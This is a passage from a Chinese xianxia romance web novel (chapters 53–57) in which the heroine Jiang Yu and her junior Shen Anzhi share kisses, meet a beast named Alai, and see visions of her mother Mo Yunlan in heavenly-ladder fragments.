沈安之遮掩双眼是看不见,所以,听力、感知便惊人的明显。呼吸一一交缠,他甚至不用看,都能在意识中清晰描摹出姜喻的此刻一举一动。 眼见丁香下意识地往后缩了缩,可猎手天性就是极为耐心。 先是不紧不慢地一点点绕着城池打转,而后一点点缓慢地接近,叫丁香缓缓放下一颗防备心,逐渐适应直到认可他的存在。 他禁不住这一瞬的满足,细细密密地勾缠着。 姜喻面红耳赤,听到水渍声响起的那一刹,浑身猛地一颤,身形似在隐隐发红。 似乎预感丁香已有退却之心,未安抚自己躁动的心脏,隐隐没得到满足,却率先安抚她。便一手轻扣在姜喻后颈,一点点摩挲着她的颈后肌肤,像正在安抚一只受惊的小雀,一点点顺毛。 直到姜喻气喘连连,口齿不清溢出几个断断续续的字眼:“沈……师、师弟,停……” 听到她不成音的话,这才“大发慈悲”地放开丁香,凯旋般退离城池时,依依不舍地缠着一勾顶唇中上颚。 姜喻猛地战栗,羞得不轻不重地轻咬在他的下唇。 沈安之故意装作疼得嘶了一口,但他看向掌心黑暗,眸底是难掩的满意。 姜喻浑身力气都要抽空似的,胸口的上下起伏,手指略绵软无力,依旧捂紧他的双眼,极力控制喘.息,吞吐间抬眸略带怨气地瞪了一眼沈安之。 “我不会偷看……”沈安之未完全站直身形,这个距离依旧呼吸相护缠绕。他虽看不见,离开时却似有所感的吻走了唇瓣上粘的水光。 “你……”姜喻赶紧抽出空余的一手,手忙脚乱地从储物袋扯出衣衫盖在身上的重要部位,沈安之则真就将她平放在地面。 “师弟保证不偷看?”姜喻呼吸忍不住微滞,偷偷撤下一根手指,便见他紧闭的眸子。 “我早闭上眼了……”他挑动眉梢,眼尾朱砂痣妖冶异常。狡黠地扬唇暗笑,闭眼背过身去,指尖相触捻了捻。 他身后随即传来悉悉索索的衣衫摩挲声,压下的燥热便再一次点燃在心口。 他呼吸一滞后,是反扑般难以言喻的粗重。 闪动画面凝在相触、深入、交融的吻上…… 沈安之此刻怕姜喻听出他的异样,极力掩饰地咳嗽了一声,转移自己注意力问道:“师姐,好了吗?”欲盖弥彰的问题问出,让他听力清晰更为集中,然后从心口直勾勾地蔓至全身。 “我快换好了。” 姜喻飞快地一一穿戴好,绯红衣裙衬得她肌肤白皙,脸颊上依旧浮着两团娇俏的霞红。紧张的咽了口唾沫,轻咬下唇有些苦恼。 她未叫沈安之转过身,心里早早紧张地恨不得现在找个地洞住一住。 俗话是说男人多是无师自通,她以为沈安之对谁都情感淡漠、不放在心上。可现在来讲,还不用她多教一教了,分明无师自通还越做越好…… 姜喻感慨这哪遭得住,暗自宽慰自己还好没对上他那一双直勾勾,望谁都三分深情的丹凤眸,不叫他看见自己多失态。 沈安之闭着眼似有所感,缓慢回过身来,“师姐准备好了,我可就睁开眼了。” 姜喻极为小声“嗯”了一声,咬咬牙佯装出一副若无其事地模样,拂去衣袖不存在的灰,往刚刚所指的方向,大步走去,“咳,收拾好了,师弟我们该出发了。” 沈安之不疾不徐地睁开眼,眸光只留一道匆匆转身的绯红背影。 她走的匆忙,走的笔直,走的僵硬…… 沈安之只觉得她无所谓的态度有些刺眼,顿感回味着方才绵长的吻,后知后觉的耳尖悄然飞起一抹薄红。 沈安之咳嗽一声抱臂,修长如竹的双腿几步就跟上了她。 他侧眸垂下长睫,扫过姜喻神情,看到未褪的霞红,竟是下意识隐隐松了一口气。 “师姐,‘心悦’滋味如何?我还等师姐多教一教我。”沈安之有意地提之,眸底雀跃又兴奋着像是窥伺着小兽。看似试探,实则抱臂的手却早已捏成拳头,掌心有一道没一道地摩挲铜钱。 不提还好,一提姜喻心口又雀跃又悸动,酥酥麻麻的。 姜喻心里有两道不同的声音。 一道告诉她,只是任务莫要认真。 一道告诉她,她和他都这般活生生的存在又相遇,她怎么只把他看做书里的人物。 姜喻侧眸与沈安之视线交汇,脸颊压下去的热意又洇上来,晕在眼尾微微泛着红,加快脚步掩饰自己的紧张:“挺、挺好。”教不了一点…… 见她走的飞快,沈安之眼底晦暗和阴郁被一扫而空,弯唇一笑,如一位再寻常不过少年,戏谑捉弄早已不见踪影,只余下仅她可见的神采飞扬。 “我自然信师姐不会骗我。”他薄唇翕动,极轻极细的声音最终散在空气。 姜喻收回视线,按照原著描写,有意无意引导着沈安之寻到两株草药,过程顺利让人恍惚一瞬。 大抵是那种倒霉惯了,有人告诉你,你走路上中了一百万……还是刀乐…… 第54章 姜喻为备不时之需多采摘一些放入木匣子,轻擦去额头细密汗珠,抬眸便是满天的天梯碎片,绚丽地仿佛触手可得的星辰。 “师弟,你说天梯碎片会不会藏着什么奇特的能量?”姜喻仰头望着天际散落的碎片,意有所指,清亮的眸子里盛满好奇,“传闻能传承上古之力,咱们寻一片瞧瞧?” “呵,碎片,多是无稽之谈……”沈安之指间铜钱灵活翻转,映着幽光,意味不明地低笑一声。 刚侧眸一瞧她,见姜喻一副好奇模样,脑中微光一闪,靠近垂眸,“师姐真想知道?” “嗯。”姜喻用力点头,发间的蝴蝶发簪随之轻晃。 沈安之笑着凑近脑袋,偏生像个坏心眼的小动物微歪头,轻拉过她腕骨,让姜喻直愣愣地撞入自己怀中。很兴奋地看着她惊讶的神态,趁其期待,御剑径直飞向天穹。 “师姐可得抱紧了。”沈安之敛眸,看向怀中下意识抱紧自己的姜喻,嘴角微不可察 地上扬。 姜喻抱着他的腰,嘴唇翕动刚想喊“no,等等”,可人已经飞上天了。 两人越靠近天穹,空中激荡的乱流与天道破碎法则的气息便越是狂暴,罡风如刃撕扯着他们周身护体结界。 沈安之眸光一凛,伸手一把将姜喻拦腰揽入怀中,带着她御剑提速冲入那片混乱。 “当心。”他低沉嗓音裹挟着结界外凛冽罡风,温热的吐息几乎擦过姜喻耳垂,手臂将她牢牢锁在胸前,“师姐,搂紧我脖子。” 天梯蕴含天道之力,即便破碎更是是难以小觑。本身靠近足矣危险,可姜喻想看,沈安之便已做好打算。若是遇到危险,他首先送她平安离开。 不过还未两人接近,无数藤蔓挟着奇异花香缠上来。 沈安之挑眉躲避,远远就见女人拿着一根赤红尾羽把玩,媚眼睨看两人,目光不留痕迹落在姜喻身上:“放肆!螃臂挡车,别不自量力找死!” 齐三娘能堂而皇之出现在此地,两人皆无惊奇之色。能进入这里,齐三娘功不可没,她若是不知晓什么才是见了鬼。 “你刚刚分明想杀我们,此刻,为何拦我们?”姜喻略有疑惑问道。 齐三娘没打算回复姜喻的问题,自顾自道:“此地空间早已破碎不堪,稍有异动,既有可能消散。” 齐三娘看向仰望那些流光般闪烁的碎片,看向他们时眉目挑衅,眼神挟着不易察觉的一丝认真,素手随意一指东南方。 “山崖裂口的地洞深处,据说埋着些残片。”她语调古怪,带着一丝笃定他们会去的了然,尾音微顿,“不怕死,就去瞧瞧。” 姜喻心头微动。 原著里,即便主角团追着齐三娘闯入此地,她也未曾现身。直到那近乎烂尾的结局,她才与“姜喻”的父亲——姜檀奚有过唯一的一面之缘。 彼时,读者们或有揣测那是他遍寻正妻不着时惹下的风流债,或有人吐槽,写这里剧情完全是狗作者多此一举。 “呵,凭何信你?”沈安之手臂收拢,将怀中人箍得更紧,眸光晦暗不明。审视齐三娘前后矛盾的行径,余光漫不经心般扫过她,带着冰冷的质疑。 “对上天道之力,硬碰硬接近天穹这些碎片确实不易。”姜喻犹疑了一下,身体几不可察地动了一下,沈安之的力道随之微松。她声音闷闷地从他臂弯里传出,带着未消的警惕,“难保你不会使诈。” 齐三娘似早料定二人疑心深重,指尖闲闲捻起一缕发丝把玩,红唇忽而勾起一抹意味深长的弧度,目光直刺姜喻:“小丫头,这般年岁……怕是连亲娘的模样都未曾得见吧?” 姜喻的心猛地一沉,几乎撞出胸腔。 齐三娘能窥见心底最晦暗的记忆,那前世呢?这个念头窜起,又被她强行压下。 想来是她多虑,这话分明是对“原主”说的。 “……休想骗我们。”姜喻压下翻涌的心绪,声音沉了几分。 “随你,机会可不多。”齐三娘施施然转身,身形化作藤蔓前,侧眸投来一瞥看向她,“瞧你这光景……呵,看来那蠢蛋也没把你照料得多好。” 她已化作一道藤影,迅疾没入深林,妖气瞬间消散无踪。 姜喻指尖微蜷,犹豫再三,终是抬眸,迎上少年那双深不见底的眼。 环抱的力道悄然松了些许,他垂眸看她,“师姐想去?”他的声音辨不出情绪。 “嗯。”姜喻点头,唇边努力扯出一个安抚的浅笑。 父母亲缘?沈安之心中漠然。 他自泥泞里爬出,从未体味过一丝一毫,自然也不屑一顾。他本非多管闲事之人,对他人秘辛更是兴致缺缺。 可若这人是姜喻……少年唇角几不可察地绷紧,下一瞬已干脆地揽过她腰身,御剑而起,直冲齐三娘所指的山崖裂口。 剑光落处,罡风猎猎。 此地荒草萋萋,几乎没过人膝。 两人尚未靠近洞口,前方枯草如浪般一分,一只半犬半狮的小兽钻出。 它不过半米高,金褐渐层的皮毛在枯黄草色中完美隐匿。停在两米外,头微歪,警惕地翕动鼻翼。一双天生带有黑色眼线的红眸,直勾勾地看着他们。准确来讲,直勾勾钉在姜喻身上。 下一刻,妖兽身躯骤然暴涨,化作三米巨兽。 “当心!”沈安之眉峰一挑,铜钱剑已化作流光斩出。巨兽看似笨重,实则快如鬼魅,沈安之出手本是出其不意,它狡黠地扭身避过剑锋,庞大身躯毫无滞涩,调头直扑早已退至侧后方的姜喻。 这专挑软柿子捏的定律什么时候能改改啊…… 姜喻心中无语哀嚎一句,身体快过思绪,姜喻还未接受她如今是妖的身份,本能地调动掌心妖力,骤然迸发,狠狠一巴掌扇了过去。 “啪!”脆响一声。 巨兽被这看似轻飘飘的一掌扇得横飞出去,重重砸落十米开外,地面为之轻颤。 烟尘微散,预想中的凶戾咆哮未响起。倒是它趴在地上,喉咙里溢出难以自抑,委屈似的“哼哼唧唧”声。 两只爪子欲盖弥彰地捂住半边脸,却藏不住一双偷偷瞄向姜喻的,湿漉漉的红眸。 若是忽略它身后那根几乎要摇出残影、兴奋扫起枯草落叶的大尾巴的话。 姜喻难以置信地看着掌心,她刚刚扇飞了它。 “别哼唧了。”姜喻看出它佯装的样子,它很快变回原貌大小。小心翼翼地靠近姜喻,想用前爪去抓她裙摆。 第55章 沈安之眸光落在它沾满泥污的爪子上,瞬间手指攥上姜喻的腕骨,不着痕迹地带着她退开半步,“脏。” 小兽睁圆了眼哼唧一声,难受刨地磨爪子,俨然一副似受了天大委屈的模样,“嗷呜,嗷呜”的直叫唤。 沈安之薄唇勾起冷笑,眉梢轻挑,眼底晦暗不清,居高临下地睨了它一眼。 姜喻视线在他们中来回一扫。 “哼哧——”它喷出灼热的鼻息,毫不示弱地回瞪他。旋即明白,对着姜喻装可怜的一套很失效,何况有个可恶的人族相伴。 它小脑袋轻轻一扭,往前踏了几步停下,转身端端正正地坐下。湿漉漉的红眸巴巴地望着姜喻,乖巧得不像话。 姜喻莞尔一笑,顺势蹲下身视线平齐,语气带着试探:“小家伙,你……听得懂我说话?” 它挺直了脖颈,故作矜持地点头,可身后那条蓬松的大尾巴早已按捺不住,甩得呼呼作响,几乎要旋出残影来。 姜喻瞧它的模样被逗笑,伸手指了指前方山壁裂口,语气认真:“我们要进去,你知道里面的路怎么走?” “呜!”它欢快地应了一声站起身,毫不犹豫地扭头就往那裂洞走去。 这道裂洞嵌在陡峭山壁上,自下往上仰望,宛如被天穹巨神降下的一刀劈开留下的疤。 洞口边缘怪石嶙峋,内里幽暗深邃,四周散落着堆积的石块,错综复杂的无数小洞口罗列其中,让人不知通往何方。 小兽却显得极为熟稔,矫健的身影在乱石与狭窄洞口间灵巧地穿梭跳跃。且在每每经过一处转折,就会慢慢停下脚步,扭过头来。昏暗中,熠熠生辉的眸子跟随着姜喻的身影,耐心地等她跟上。 与他们始终保持着几步之遥。 一柱香后,小兽脚步渐缓,警惕抬眸扫过四周,确认除他们外再无窥伺的人,方仰头发出短促的“嗷呜”一声。 随着声落,看似坚不可摧的岩壁竟如水波般漾开,露出其后一个豁然开朗的幽深洞穴。 洞内光线昏昧,唯见数十块深嵌石缝的晶体碎片散发着微光, 每一块足有双拳大小,周遭灵力波动异常,空气时不时发出细微的嗡鸣。 小兽立刻回身,急切地用毛茸茸的脑袋轻蹭姜喻的腿弯。姜喻心领神会,刚抬脚欲行。 “师姐,当心了。”沈安之的手紧扣上她的腕骨,力道不重,带着不容置疑的牵引将其轻轻扯回身侧,摩挲了一下骨节,他声音压得极低,“它来历不明,焉知不是诱我们入彀的陷阱……” 沈安之持剑欲以身探路,小兽见状,浑身毛发炸起,尖牙一露,喉中威胁地低吼,尾巴绷直垂落。 它整个身躯匍匐前倾,已是蓄势待发的攻击姿态。 “等等,”姜喻轻拽住沈安之的袖角,目光在警惕的小兽和沈安之眉眼间流转,“它似乎……只想让我一个人过去?” “这小家伙既肯带我们寻到此地,我感觉得到它并无恶意。况且,”姜喻安抚一笑,抬眼看他,眸光如有熠熠星光,“有师弟你守在,我不怕。” 沈安之眸底幽暗的漩涡翻涌可对上她清亮的眸光,最终归于沉寂。深深看了她一眼,侧身让开一步,低声道:“好。我在此处……陪着师姐。” 姜喻深吸一口气,握紧的拳头松开又攥紧,终是迈步向前。 她走得极慢,每一步都异常谨慎,饶是嘴上开口不怕,身体的本能绷紧了弦。 昏暗中,那些晶体碎片闪烁着微弱的白光不知不觉转为红芒,映得姜喻脸颊忽明忽暗。心口一紧,一股难以言喻的感觉驱使着她,不由自主地加快脚步。 姜喻踏入中央的刹那,一种无形的强大吸力猛地攫住了她,石缝中所有晶体碎片悬浮而出立于半空。而那些原本微弱明灭的红光炽盛,碎片逐渐融合。 红光越来越清晰、越来越凝聚…… 里面并非单纯的光晕闪烁,而是清晰地映照出一个人影! 红发如焰,恣意披散背后及腰。一袭浅红长裙曳地,衬得肌肤胜雪。她慵懒回眸的瞬间,姜喻瞳孔骤缩,连呼吸都停滞半拍,攥紧的拳头不知何时松开。 一股源自血脉深处的熟悉感。 那姑娘眉眼与她足有五分相似,却美得极具侵略性,如一把出鞘的刀,艳光四射中暗藏着的锋芒。令人一见,便再难移开目光。 画面剧烈闪烁。 红裙姑娘姿态闲散地行走在一条荒芜的羊肠小道上,身后跟着一只小兽。 她似嫌它太慢,回身一把拎起它的后颈皮,随即捞进怀里,指尖点了点它湿漉漉的鼻头,语气带着亲昵的嫌弃:“阿赖,你这小短腿,走得可真慢。” 姜喻回眸,瞥向那尊等比例放大的小兽,轻唤:“你叫阿赖?” 阿赖立刻点头如捣蒜,蓬松尾巴摇成了虚影,仿佛下一刻就要甩脱了去,眼底的欢喜几乎要溢出来。 姜喻笑着收回视线,目光重新落回眼前流转的光影。 莫云岚身姿带着难以言喻的亲近感,熟悉得似乎印在血脉中。姜喻指尖无意识地抬起,探向虚影只触到空气,指穿透了过去。 姜喻怔住,心口跟着泛起空落。她扯了扯唇角,低笑一声。 奇怪……她在失落什么呢? 光影流转,画面徐徐铺展。 蜿蜒的山道,青石阶染着夜露的微光。忽然,一袭被血色浸透的白衣闯入视野。 那人像是从陡峭的山崖滚落,狼狈地蜷在路旁,生死不知。难以忽视他沾着血污,却难掩俊朗的侧颜。 画面中的莫云岚脚步一顿,目光在那张脸上停留片刻。 一时兴起,莫云岚走去俯身,单手随意地拎起青年染血的后衣领,如同拎起一只幼兽般轻松,随即手臂一揽打横抱起。 步履轻快地踏着月色,哼着不成调的小曲儿,径直朝自己的洞府走去。 画面一转,莫云岚随意寻了块山石坐下,慢悠悠守着药炉子。一旁石桌上,姜檀奚浑身裹满白布,尤其是一只眼睛也覆着,活像个粽子。同样被裹成团的手,颇为费力地啜饮清茶,模样透着几分不合时宜的滑稽。 “怎么弄成这副德行?”莫云岚双手支着下巴,好奇地问。 “小门小派,加之我愚钝,初次下山便迷了路,身边又无师兄师姐照拂。”姜檀奚声音闷闷的,“倒是莫姑娘,这般轻易便带个陌生人回来,不怕引狼入室么?” 莫云岚闻言,唇角懒洋洋一勾,随手拨弄发丝:“怕?那多没意思。” 姜檀奚的目光不由自主落在她身上,待她抬眸望来时又慌忙垂下眼睫,耳根悄然漫上一层薄红,懊恼地抬手扶额。 莫云岚忽地倾身凑近,指尖带着药草香,出其不意地贴上他额头,“不烫啊……脸怎么红成这样?” “天……天气燥热罢了。”姜檀奚声音微紧。 “燥热?”莫云岚眼底笑意更浓,不容分说地拨开他扶额的手,反而一把攥住他衣襟往前带了带,“这就叫近了?还能更近点。你别乱动,让我瞧瞧。” 姜檀奚喉结滚动了一下,所有细微的动作连同眸底是光,都在她逼近的瞬间凝滞。 光阴仿佛碎羽般掠过,无数记忆片段在姜喻眼前闪动。 最终定格在莫云岚横坐树枝,裙裾下两条腿漫不经心地晃荡,阳光勾勒出她的笑意轮廓,“我若说,我其实是妖呢?” 树下,姜檀奚仰望着她,脱口而出:“莫姑娘说过,你是九天落下的仙。纵使你此刻改口说是妖……”他语气顿了顿,声音清晰而认真,“于我而言,又有何惧?” 莫云岚晃动的腿一停,垂眸俯视着树影下的青年,眼底闪过不易察觉的微澜:“……不怕?” 姜檀奚神色是前所未有的端正,迎着那俯视的目光,无比清晰地应道:“嗯,不怕。” 所有的画面齐齐熄灭,意犹未尽的阿赖四爪刨地,哼哼唧唧的叫唤,看得不知足,想跑来姜喻身侧却被一道结界挡在外面。 沈安之瞳孔猛地一缩,手中铜钱剑再无半分犹豫斩落结界上。 中央勉强凝聚的碎片核心应声爆裂,灵力失控,化作肉眼可见的涟漪,层层叠叠、由内向外猛烈震荡开来。 姜喻被吹得几乎站立不稳,抬手挡住脸,衣摆猎猎作响。 “姜喻!”沈安之焦急地握紧铜钱剑,骨节发白,剑身上流转的冷光映亮他绷紧的下颌,失控的灵力漩涡骤然坍缩,化作凌厉的风刃袭击向姜喻面门。 姜喻只觉寒意扑面而来,眼前骤然一黑。然而预想中的剧痛并未降临,比风刃更快的是几滴滚烫的液体,猝不及防地落在她紧闭的眼皮上。 炽热,仿佛要将她皮肤灼穿。 温度烫得姜喻呼吸瞬间停滞,血腥味钻入鼻腔时随之而来的,还有熟悉的皂角香。 “师姐,没事?”沈安之垂眸,嗓音低低地询问。 “我没事,师弟你伤在何处?”姜喻语气急切的问道。 话音一落,沈安之熟悉的异香再次钻进鼻腔,丝丝缕缕缠绕于血腥味里。 姜喻只觉得四肢百骸莫名一软,这味道蛊.惑、诱人。 沈安之手臂收紧,一手将纤细的腰肢圈进怀中,另一只大手轻按着她的后脑,迫使她整张脸埋在他衣襟,语气带着不易察觉得轻颤:“真好,还在……” 姜喻视野被剥夺,以至于根本看不清沈安之此刻的晦暗不清,甚至是后怕的神情。 隔着薄薄的衣料,他胸膛剧烈起伏。 沈安之紧锁着眉宇,喉结上下滚动,咽回涌上喉头的腥甜。 姜喻甫一察觉他力道微松,抬眸便撞见他脖颈一道小血口子,和唇瓣溢出的,嫣红的血渍,仿佛雪地中一抹惹人注目的朱红。 “师弟……” 异香似乎在体内搅动,姜喻气息瞬间紊乱,神智像是被无形的丝线牵引。 待姜喻脑中那根名为“清醒”的弦拨动时,惊觉时,她已失神地踮起脚尖,唇瓣轻轻地蹭过沈安之颈间那一道伤口。 沈安之呼吸微滞,垂下眸,紧紧地瞧着姜喻的一举一动。 姜喻下意识地用舌尖舔到自己 唇瓣上,属于沈安之血液的腥甜,瞳孔骤然一缩,顿时慌乱地垂下头,无措地推开沈安之,“对不起师弟,我不是故意的……” 沈安之的喉结难以自抑地上下滚动,视线贪婪地对上她清亮的眼眸,旋即寸寸下移,定格在饱满的唇瓣上。 那唇……他记得的,柔软、温热,带着诱人的香甜。而此刻,一抹刺目的鲜红正沾在上面:是他的血。 哪怕是微不足道的一点,也如同一个独属于他的烙印,深深印在姜喻身上。 一声低沉而满足的轻笑自喉间溢出,沈安之非但不许她推开,反而扣上姜喻的腕骨,力道之大,在姜喻尚未回神的错愕间,手臂发力一揽,姜喻便直直跌进他的坚硬怀抱。 “师姐,你这样我怎么能放手……”呼吸逐渐加重,沈安之微歪下头,在她亮眸中直到清晰看清自己的倒影,轻贴上张张合合的唇瓣,沿着彼此唇缝气息交融。 “唔……”姜喻微睁大眼,有一只手牵引着她的腕骨抱上他的腰。 唇上不容拒绝地温热微软,便漫不经心地撬开了她的唇齿,带着一种不易察觉的轻缓力道,把什么卷入舌尖上。 直至分开。 沈安之狡黠散漫轻笑,瞧着她脸颊攀上的薄红,爱不释手地单手捧上侧脸,“师姐,我唇上的,也别浪费了……” 第56章 姜喻唇瓣微张,勉强稳住紊乱的吐息,脑中一片混沌,万万想不出沈安之此等举动。 她眼巴巴地抬眸,下意识地抿紧唇。却因似有残留的余感,脸颊热意不减反增,“师弟,你喂我吃……你的,血?” 沈安之压下眼底一抹难以消弭的兴奋与雀跃,那只原本按着她的手,揽在她腰间的手掌悄然松开,见她竟未第一时间松开自己,喉间溢出一声散漫轻笑,带着说不清的缱绻与危险。 他垂首,额头轻抵着姜喻的额头,低沉着嗓音道:“师姐,似乎对我的血满意?嗯?”撞上她的眸光,眼底带了一丝小心翼翼的紧张。有些事情,明知不可为,依然为之。 彼此呼吸在咫尺间微滞,交缠。 姜喻喉间将残留的温热小声地咽下,一股奇异的暖流瞬间自小腹升腾而起。他的声音钻进耳中,带着蛊惑人心的磁性,让她晕乎乎仿佛浑身被暖洋洋温水包裹的。 鼻翼间那股异香愈发浓烈,持续地侵占着她的鼻翼,让人完全无法忽视。 姜喻强迫着自己移开目光,从异香中抽离,屏息向后仰一点,“师弟,先把伤口包扎一下。” 怎么回事…… 她不过吃了沈安之几滴血,浑身便像着了火,暖哄哄的,连之前的乏力都一扫而空? “师弟,我好热啊……”姜喻抬眸呢喃着,俨然像一只寻求凉意的小红雀。 “呵,”沈安之心中微动,禁不住气息一荡,低笑道,“谁叫师姐贪多。” 他手臂再次箍紧纤腰,将姜喻打横抱起。遍地碎片的微光,映着他眸光幽深如潭,一瞬不瞬地盯住怀中人儿迷离的面容。 姜喻无奈地扯了扯唇角,眼中盛满关切:“师弟,燥热的是我。我手脚没坏了,自己能走,倒是你的伤,你要不先处理一下伤口?” “无妨,稍后再说。”沈安之答得轻描淡写,一步步抱着她回到安全位置。 阿赖欢快地绕着姜喻转了两圈,小脑袋蹭着她的裙角,瞥见沈安之背后狰狞的伤痕。它虽不喜这人,仍忍不住小跑过去,对着他的脚边焦急地“嗷呜”一声。 沈安之余光瞥了脚边金褐色一眼,却毫不停留,只专注地看着姜喻:“师姐,碎片之力不容小觑,只是……”语气微顿,唇色有些苍白,“失血多了些,有些口渴。我自己来包扎,劳烦师姐带着这小东西,”他朝阿赖抬了抬下巴,“替我取些清水?” “好,你等我。”姜喻犹豫的眸光在他脸上停留一瞬,压下心头疑问,点头应下。和阿赖转身走出数步,终究忍不住回眸,担忧地望向他挺直的玄色身影。 听到脚步逐渐远去,沈安之强撑的背骤然一松,单膝猛地跪地,一手死死撑住地面,另一手捂住唇,却抑不住喉间翻涌的腥甜。 暗红的血溅落在委地的玄色衣摆上,洇开一团刺目的痕迹。他瞥见几滴落在不远的血珠,想到阿赖小东西的灵性,咬牙扯过衣摆,狠狠擦去地上所有痕迹,连衣摆上的血渍也用力揉搓得模糊不清。 背后疤痕极深,每次呼吸伴随着剧烈的疼痛,冷汗浸透鬓角,强忍着眩晕,解开染血的外衫垫在身下。伤处位置刁钻,指尖根本无法触及,他只能摸索着掏出药瓶,反手胡乱地从肩头倒下去,药粉簌簌落下,沾上多少全凭天意。 沈安之疼得头昏脑胀,眼前发黑时,听到一道急促地脚步声由远及近。他猛然抬眸,模糊的视线中,看清来人身影的刹那瞳孔骤然一缩,本能地去抓身旁的衣衫欲要披上。 她怎么回来了? 姜喻大步流星冲到他面前,清亮的眸子映着沈安之此刻的狼狈。见他慌忙遮掩的动作,一股道不明的气闷堵在胸口,惹得她极为不快。 明明不久前才让她靠近,这一刻,他却又急不可耐地将她推开似的。 “怎么回来了,师姐?”沈安之随意坐着,声音已竭力平稳,若无其事地抬眸。 “沈安之!”姜喻的声音陡然拔高,语气轻颤。 她蹲下身,与他视线平齐,眼中担忧与愧疚几乎凝成实质,眼中流转的微光滚落,最终化作滚烫的泪珠“啪嗒”一声砸在他撑地的手背上。 灼人的温度烫得沈安之指尖一颤。 “都怪我,偏要看什么碎片,你也不会因此受伤了。”她垂下头,眸中水光潋滟。 沈安之怔住了。 这是他第一次见姜喻落泪,这一瞬,慌乱的攥紧拳头,不知如何下手。那滴泪仿佛带着千钧之力,砸得他心头方寸大乱,连呼吸都停滞了一刹。 几乎下意识地抬手,指腹极其轻柔地蹭过她泛红的眼尾,接住滚落的晶莹。泪珠顺着他的指尖滑落在掌心。 很烫……像她这个人一样。 从未有人为他流过泪。 “肯定,很疼……”姜喻哽咽着。 “无事,”沈安之喉结滚动,声音是自己都未察觉的沙哑与柔软,指腹固执地、一遍遍抹去她颊边的湿痕,仿佛在擦拭稀世珍宝,“师姐小看我了,这点伤算不得什么。” 本不想她担心,可这双总是清亮得能映出自己的眸子,此刻怎会涌出这么多的水来? 一种从未有过的,近乎贪婪的渴望席卷。鬼使神差地,他将沾着她泪水的指尖按上自己的唇,舌尖极轻、试探的卷过。 咸涩的,温热的,带着独属于她的气息。 心底最深处某个冰冷阴暗的角落,仿佛被这滴泪狠狠灼穿,变得异常柔软。 “师姐,”他凝望着她一笑,眸底翻涌着浓得化不开的,名为占有的墨色,声音低沉带着一股意味不明的执拗,“以后,少流泪。” 他看姜喻担忧,心底隐秘的角落便如吃了一块栗子糖,带着难以言喻的餍足。 可看她落泪,那点甜意瞬间被更汹涌的沉闷席卷,郁结几乎要渗出冰冷的水来。 姜喻怔然地点头,泪痕被他一点点揩去,“师弟让我包扎一下吧。” “嗯。” 姜喻指尖微颤,小心翼翼地解开沈安之染血的外衫。当一道道狰狞交错的青紫瘀痕撞入眼帘时,呼吸一窒,像是被无形的力量扼住了咽喉。 原来如此……难怪方才他将她护在怀中冲抱她离去,又那般将她支开。 酸涩猛地涌上鼻尖,强压下喉间的哽咽,取过药膏,动作轻缓得一点点为他清理、上药、包扎。 “师弟,”她嗓音带着极力克制却依旧不稳的轻颤,指尖的动作愈发轻柔,“忍一忍,我会轻一些,疼了,一定要告诉我。” 听到姜喻的声音,偏像只哼唧的小兽般 惹得人侧眸。她眼尾微微泛红的紧,手也轻颤着,明明害怕血痕,可胆子不知何时竟大了许多。 沈安之指尖愉快地摩挲着铜钱把玩,少女指尖轻盈划过背后肌肤,涂抹时的触碰带着一丝丝从骨血传来的战栗和悸动。 沈安之强忍着没有牵上少女腕骨,只等姜喻包扎完,才迫不及待地将她轻拉到身前,身形下意识去凑近她,微歪头玩味一笑,佯装不懂得反问:“师姐,心疼了?” “你都受这么伤了,我心疼怎么了……”话音未落,姜喻脸颊洇着极为好看的微红,似他见过的晚霞一般。嗓音如小钩子,似撒娇似嗔怪。 泛红的眼尾活脱脱地像只小兔子,古灵精怪的在他身边,偏生娇气。 能如一切美好,让他觉不许放手一丝一毫。 心念微动,沈安之不想再见她落泪,轻柔地拉着她的腕骨摩挲,吻在她泛红的眼尾。 姜喻怔愣地眨眼,翕动的长睫扫过沈安之唇尾,带着一种从胸腔翻涌的痒意。 听到姜喻呼吸一滞,彼此交缠的吐息,沈安之喉间溢出轻笑。 温热的唇一点点游移,安抚般吻在她的眼皮后,才垂眸退开一点,幽暗的眸光紧紧地盯着她抬眸。 他忽的一笑,倏然凑近在即将贴在她唇畔分寸之时顿住,嗓音克制地低沉又喑哑,“师姐,怎么又要落泪。” “我才没有了。”姜喻小声反驳,眼尾还泛着红,却倔强地眨了眨眼,梗着脖子想拉开些距离。这一动,柔软的唇瓣便不经意地、极轻地擦过了他的。本还伤感的心情,如今被沈安之搅乱的七零八碎。 “好,”沈安之眼底暗芒流转,满是得逞的餍足,“师姐说没有,那便是没有。” 姜喻看他这样,若是放在从前,沈安之怕是连这般不管不顾地放任她靠近都不敢想,还一脸心满意足似的。 阿赖围在两人旁打转,不满地刨地、刨石头,喉间发出低吼提醒他们注意自己。 它方才找到自己的小主人,对于抢走她的人真是可恶。 姜喻眸光这才注意到阿赖,“阿赖,怎么了?” “嗷呜,嗷呜。”阿赖高兴得尾巴摇的飞起,雀雀欲试地想冲进她怀里,被一只手按住脑袋。 沈安之动了动筋骨站起身,虽背后伤痕依旧疼痛漫延,他却面不改色地伸出手将姜喻牵起。 “师姐,可还想看什么。”沈安之眸光投向那些散发出微光的碎片。 姜喻自是怕沈安之再受伤,虽好奇不已,却连忙摇头道:“先不看了。” 在两人准备转身之际,阿赖警惕地对右边一叫。 那处光滑岩壁簌簌剥落下岩石碎屑,露出一整块足有两人高的天梯碎片,上面泛起水波一般的涟漪。 陡然强悍的吸力拉扯他们动弹不得,沈安之把姜喻拉扯进怀里,来不及逃离,两人一兽掉了进去,眼前阵阵发黑。 第57章 眼前光影忽闪着不停歇,姜喻醒来时身旁没有沈安之的身影。 脚下大地毫无预兆地剧震轰鸣,她慌忙扶住身旁的树才站稳。 心口突突直跳,老天奶,这是地震吗? 姜喻踉跄着冲出遮蔽,抬眼望去抬眸就见雷劫悍然。 飞升的天梯寸寸碎裂,紧接着,一道燃烧的赤影,裹挟着焚天的烈焰,如同灼目的流星狠狠砸落。 天旋地转间,她下意识拔足奔向陨落之地。 烟尘稍散,映入眼帘的是一只华美至极的重明神鸟,赤红的翎羽散落如星屑,奄奄一息地躺在焦土深坑中。 光影扭曲,神鸟之形褪去,原地竟蜷缩着一个瞧着不过十几岁的妙龄少女。 莫云岚? 莫云岚茫然地抬首,望着天际彻底消散的天梯碎光,失神的瞳孔里映着坠下流星般的碎片,唇瓣翕动低语道:“我回不去了……” 姜喻心头升起一丝疑惑,便见莫云岚摇摇晃晃走了几步,像断了线的木偶般软倒下去。就在此时,一道藤影闪电般卷来,瞬间裹住莫云岚身形,消失在幽暗的深处。 